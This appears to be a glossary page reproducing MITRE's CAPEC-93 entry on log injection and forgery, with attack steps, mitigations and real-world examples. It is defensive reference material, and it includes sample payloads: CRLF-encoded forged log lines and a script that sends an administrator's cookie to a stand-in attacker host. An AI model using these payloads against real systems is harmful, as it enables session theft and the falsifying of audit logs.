COMMON ATTACK PATTERN ENUMERATION AND CLASSIFICATIONLive MITRE record

CAPEC-93

Log Injection-Tampering-Forging

This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.

Abstraction

Detailed

Typical severity

High

Likelihood of attack

High

Understand the attack

What is this attack pattern?

This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.

Execution flow

How does the attack proceed, step by step?

1

Explore

Determine Application's Log File Format

The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.

Techniques used

  • Determine logging utility being used by application (e.g. log4j)
  • Gain access to application's source code to determine log file formats.
  • Install or obtain access to instance of application and observe its log file format.
2

Exploit

Manipulate Log Files

The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.

Techniques used

  • Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: "%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in" may add the following forged entry into a log file: "[Thu Nov 12 12:11:22]:Info: User admin logged in" Different applications may require different encodings of the carriage return and line feed characters.
  • Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain <script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script> The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).

Requirements

What does the attack require?

Prerequisites

  • The target host is logging the action and data of the user.
  • The target host insufficiently protects access to the logs or logging mechanisms.

Skills required

  • Low: This attack can be as simple as adding extra characters to the logged data (e.g. username). Adding entries is typically easier than removing entries.
  • Medium: A more sophisticated attack can try to defeat the input validation mechanism.

Resources required

Not stated in the MITRE record.

Impact

What does a successful attack lead to?

Modify Data

Affected scopes: Integrity

Defence

How is it prevented and mitigated?

1
Carefully control access to physical log files.
2
Do not allow tainted data to be written in the log file without prior input validation. An allowlist may be used to properly validate the data.
3
Use synchronization to control the flow of execution.
4
Use static analysis tools to identify log forging vulnerabilities.
5
Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.

Real world

MITRE example instances

Example instance 1Detail
Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php. See also: CVE-2006-0201
Example instance 2Detail
If a user submits the string "twenty-one" for val, the following entry is logged: INFO: Failed to parse val=twenty-one However, if an attacker submits the string twenty-one%0a%0aINFO:+User+logged+out%3dbadguy the following entry is logged: INFO: Failed to parse val=twenty-one INFO: User logged out=badguy Clearly, attackers can use this same mechanism to insert arbitrary log entries.
CAPEC-93: Log Injection-Tampering-Forging — DayBreach Saldırı Sözlüğü · DayBreach